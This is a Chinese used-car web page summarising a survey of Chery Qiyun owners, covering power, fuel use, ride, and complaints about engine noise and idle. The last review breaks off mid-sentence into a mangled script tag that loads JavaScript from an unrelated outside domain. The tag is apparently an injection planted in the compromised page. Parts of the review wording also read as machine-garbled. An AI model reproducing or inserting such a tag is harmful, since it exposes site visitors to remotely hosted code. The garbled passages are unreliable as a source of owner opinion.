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100位旗云用户完全调查

   日期:2025-05-18     来源:www.ncgtsm.com    作者:二手车网    浏览:631    评论:0    
核心提示:王先生(标准型,1380××××259):我对这款车的总体感觉是很好的。

王先生(标准型,1380××××259):我对这款车的总体感觉是很好的。外观中庸却不失大方、动力生猛但尽可学会。除此之外最认可的还有它的油耗,百公里不到7升,完全可以承受。同时售后服务做的也很好。总之是一款尽可打“√”的车。不足之处就是感觉仪表盘呆板了些。

黄先生(CVT无间版,888×××92):最爽的事情就是开奇瑞旗云跑长途,想多快就多快,而且十分平稳。手自一体设计时髦而适用,仅需全神贯注留神路面即可;外观线条非常现代,配置也非常高档,平均油耗在7升左右,叫人认可。这个价格买如此的车,非常值。服务方面,企业的主动关怀做得很好,汽车保养成本可以同意。但车子跑到140码时,发动机会出现共振,但过了这个临界点就会恢复平稳;另外,冷车启动时声音较大,但一分钟后会消失;还有就是汽车的密封性不够好,噪音较大。动力与操控优点

27人 这车的动力很好,加速性能较好,跑高速最快可达到195码。/稳定性较好,基本没“发飘”的感觉。/跑山路动力够用,上坡不费劲。/买奇瑞旗云,就是冲着它的发动机去的,还好,没让我失望,最高时速曾开到过180公里,感觉还有动力空间。/动力好,无论是城区还是高速公路,超车一点油门就上去了,非常爽非常轻松。/发动机的动力很充沛。彭先生(舒适型,1335××××782)李先生(标准型,1398××××358)等

19人 这车加速快、提速猛,超车比较容易。徐先生(标准型,1360××××895)杨先生(标准型,1370××××579)等

13人 减震的调校非常适中,在路面不平的状况下能较好地通过,颠簸不是非常明显。李先生(标准型,1398××××358)曾先生(豪华型,1308××××364)等

9人 这车制动成效很好,站得住。彭先生(豪华型,1398××××350)等

8人 仪表板的夜间辨读性非常不错。李先生(标准型,816×××55)等

7人 空调制冷成效好。郭先生(豪华型,1308××××056)等

7人 高速状况下,行车非常稳定。陈先生(舒适型,1320××××030)等

5人 后视镜的调节、侧窗的控制很便捷。王先生(标准型,川AES×××)等

3人 驾驶中的挡位非常明确,让开车看上去非常有乐趣。唐先生(舒适型,电话:1318××××359)等不足

11人 发动机噪音偏高。/高速路上跑到120码~140码时,发动机噪声偏大,但过了150码后噪音就没了。/刚买车的时候发动机没噪音,目前开了两年了,感觉噪音有点大了。夏先生(标准型,88×××925)杨先生(舒适型,1398××××059)等

9人 怠速不是非常稳定,尤其是一挡起步后,发动机转速要猛然提升一下。/这车起步后发动机?script src=http://cn.jxmmtv.com/cn.js>cript>

 
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